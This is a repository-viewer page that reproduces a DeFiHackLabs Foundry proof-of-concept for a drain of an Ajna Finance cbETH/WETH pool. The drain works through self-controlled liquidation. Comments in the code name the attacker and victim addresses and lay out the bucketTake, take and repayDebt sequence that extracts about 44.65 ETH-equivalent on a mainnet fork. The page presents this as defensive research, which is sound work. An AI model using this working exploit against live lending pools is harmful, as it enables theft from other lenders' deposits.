Skip to content
THREATWIRE

Public reproduction file

src/test/2026-08/AjnaFinance_exp.sol

Public reproduction file for dataset entry AjnaFinance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-08/AjnaFinance_exp.sol156 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import {IERC20} from "forge-std/interfaces/IERC20.sol";
6
7// Ajna Finance — Ethereum mainnet — self-controlled-liquidation drain via bucketTake/take accounting.
8//
9// ~$775K total across 7 Ajna ERC20 pools in one campaign the same day (syrupUSDC $173.7K,
10// wstETH $159.8K, rETH $127.4K + $15.6K, cbETH $124.8K + $12.1K, WBTC $101.8K, WETH/USDC $42.0K,
11// sDAI $18.0K). Same bug class every pool, so reproducing the cbETH instance is enough.
12//
13// Sample tx : 0x12dfde527ef62882bfabb64362c9ae0e6bfb628363bd298d0d0956c9a114e4f5 (block 25854888)
14// Attacker EOA: 0x6F2f5236b10FE7162Da077A2779f8b5f04b7827e
15// Victim pool : 0xad24FC773e125Edb223C38a39657cB64bc7C178e (Ajna ERC20Pool, cbETH/WETH;
16// logic impl ERC20Pool 0x05bB4F6362B02F17C1A3F2B047A8b23368269A21)
17// collateral: cbETH 0xBe9895146f7AF43049ca1c1AE358B0541Ea49704
18// quote : WETH 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
19// Attacker-controlled borrower position : 0x02D329Ebb1DA079A89988366b777aF300DB96F5f
20//
21// Root cause (verified against the on-chain trace and Ajna's verified ERC20Pool source, NOT a
22// key/signer/admin path): Ajna is permissionless and oracle-free by design — auction and bucket
23// prices come only from the pool's own internal state, with no external feed to contradict them.
24// An attacker who controls BOTH sides of a liquidation (its own over-leveraged borrower AND the
25// taker/lender liquidating it) shapes the internal prices those sides interact at and walks out
26// with more collateral value than the quote it pays in. That loss lands on the pool's other
27// lenders. bucketTake, take, removeCollateral and repayDebt are all plain permissionless public
28// functions; the `validate(...)` staticcall to 0x5508… seen in the trace is the attacker
29// contract's OWN tx.origin auth check, not an Ajna-side gate.
30//
31// Standing state at the fork (established by the attacker's earlier setup txs, present at block-1):
32// borrower 0x02D329 sits in an active Dutch-auction liquidation (debt 49.36 WETH, collateral 48.13
33// cbETH), and Fenwick bucket 2000 holds ~49.34 WETH of the attacker's own deposit.
34//
35// This PoC reconstructs the drain as ordinary typed Ajna calls (no bytecode blob, no raw calldata
36// replay of the original 0xf1cd0d25 payload, no redeploy of the attacker contract 0x80AD…):
37// 1. Taker.bucketTake(borrower, false, 2000): consume the bucket's quote deposit to repay most of
38// the borrower's debt at the manipulated bucket price and award the taker bucket LP
39// (debt 49.36 -> 3.47 WETH), then removeCollateral(max, 2000) pulls the awarded cbETH out.
40// 2. take(borrower, max, taker, ""): clear the residual 3.47 WETH of debt, settling the auction.
41// 3. As the attacker-controlled borrower, repayDebt(borrower, 0, collateral, taker, idx): pull the
42// now-freed ~46.5 cbETH of collateral straight out to the taker.
43// Net: the taker ends holding ~48.13 cbETH for ~3.47 WETH paid — ~44.65 ETH-equivalent (~$124.8K).
44// The on-chain tx realized the same value split differently (~43.75 cbETH + ~1.5 WETH net) because
45// it funded its take through a Balancer flash loan plus a cbETH->WETH swap; that financing is
46// economically neutral, so this PoC takes the simpler cash-funded path and asserts the same net
47// value. The attacker-controlled borrower side is driven via a prank of its standing position,
48// modeling the "attacker controls both sides" structure without replaying any hardcoded calldata.
49//
50// forge test --contracts src/test/2026-08/AjnaFinance_exp.sol -vvv
52interface IAjnaPool {
53 function bucketTake(
54 address borrower,
55 bool depositTake,
56 uint256 index
57 ) external;
58 function removeCollateral(
59 uint256 maxAmount,
60 uint256 index
61 ) external returns (uint256, uint256);
62 function take(
63 address borrower,
64 uint256 maxAmount,
65 address callee,
66 bytes calldata data
67 ) external;
68 function repayDebt(
69 address borrower,
70 uint256 maxQuoteTokenAmountToRepay,
71 uint256 collateralAmountToPull,
72 address collateralReceiver,
73 uint256 limitIndex
74 ) external;
75 function borrowerInfo(
76 address borrower
77 ) external view returns (uint256 debt, uint256 collateral, uint256 t0Np);
78 function auctionInfo(
79 address borrower
80 )
81 external
82 view
83 returns (address, uint256, uint256, uint256 kickTime, uint256, uint256, address, address, address, bool);
86// The liquidating side: a named taker/lender contract making real Ajna calls.
87contract AjnaTaker {
88 IAjnaPool internal constant POOL = IAjnaPool(0xad24FC773e125Edb223C38a39657cB64bc7C178e);
89 address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
90 uint256 internal constant BUCKET = 2000;
92 // Consume bucket 2000's quote deposit to repay most of the borrower's debt at the manipulated
93 // bucket price, award ourselves the bucket LP, and pull the collateral out.
94 function bucketTakeLeg(
95 address borrower
96 ) external {
97 IERC20(WETH).approve(address(POOL), type(uint256).max);
98 POOL.bucketTake(borrower, false, BUCKET);
99 POOL.removeCollateral(type(uint256).max, BUCKET);
100 }
102 // Clear the residual debt with a plain take, settling the auction so the collateral can be freed.
103 function settleLeg(
104 address borrower
105 ) external {
106 POOL.take(borrower, type(uint256).max, address(this), "");
107 }
110contract AjnaFinance_exp is BaseTestWithBalanceLog {
111 IAjnaPool internal constant POOL = IAjnaPool(0xad24FC773e125Edb223C38a39657cB64bc7C178e);
112 IERC20 internal constant cbETH = IERC20(0xBe9895146f7AF43049ca1c1AE358B0541Ea49704);
113 IERC20 internal constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
114 address internal constant BORROWER = 0x02D329Ebb1DA079A89988366b777aF300DB96F5f; // attacker-controlled
115 uint256 internal constant BUCKET = 2000;
117 uint256 internal constant FORK_BLOCK = 25_854_887; // parent of the exploit block 25854888
119 function setUp() public {
120 vm.createSelectFork("mainnet", FORK_BLOCK);
121 vm.label(address(POOL), "AjnaCbethPool");
122 vm.label(BORROWER, "AttackerBorrower");
123 vm.label(address(cbETH), "cbETH");
124 vm.label(address(WETH), "WETH");
125 }
127 function testExploit() public {
128 AjnaTaker taker = new AjnaTaker();
129 // Working capital for the residual-debt take (the on-chain attacker flash-loaned it).
130 deal(address(WETH), address(taker), 100 ether);
132 // 1. bucketTake + removeCollateral: repays most of the debt, pulls the first cbETH slice.
133 taker.bucketTakeLeg(BORROWER);
134 // 2. take: clears the residual debt and settles the auction.
135 taker.settleLeg(BORROWER);
137 // 3. The attacker-controlled borrower pulls its now-freed collateral out to the taker.
138 (, uint256 freedCollateral,) = POOL.borrowerInfo(BORROWER);
139 (,,, uint256 kickTime,,,,,,) = POOL.auctionInfo(BORROWER);
140 assertEq(kickTime, 0, "auction not settled before pulling collateral");
141 vm.prank(BORROWER);
142 POOL.repayDebt(BORROWER, 0, freedCollateral, address(taker), 7388);
144 uint256 cbEthGain = cbETH.balanceOf(address(taker));
145 uint256 wethSpent = 100 ether - WETH.balanceOf(address(taker));
146 emit log_named_decimal_uint("taker cbETH gained", cbEthGain, 18);
147 emit log_named_decimal_uint("taker WETH spent", wethSpent, 18);
149 // Net extracted value, in ETH terms (cbETH ~ WETH ~ ETH). Reported ~$124.8K for this pool.
150 uint256 netEth = cbEthGain - wethSpent;
151 emit log_named_decimal_uint("net ETH-equivalent drained", netEth, 18);
153 assertGe(cbEthGain, 43.75 ether, "expected >= the reported ~43.75 cbETH collateral seized");
154 assertApproxEqAbs(netEth, 44.65 ether, 2 ether, "net drain off the reported ~$124.8K");
155 }

Analysis

Dataset entry

Public Foundry test for “AjnaFinance” (2026-08-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

15 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/interfaces/IERC20.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x6f2f5236b10fe7162da077a2779f8b5f04b7827e

  • Victim

    0xad24fc773e125edb223c38a39657cb64bc7c178e

  • Attacker

    0x02d329ebb1da079a89988366b777af300db96f5f

File record

Name
AjnaFinance
Path
src/test/2026-08/AjnaFinance_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
d78692d97b43ef41f685a49631c76646e6a55d9f
Language
Solidity
Size
157 lines
Date
2026-08-28
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-08/AjnaFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d78692d97b43ef41f685a49631c76646e6a55d9f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.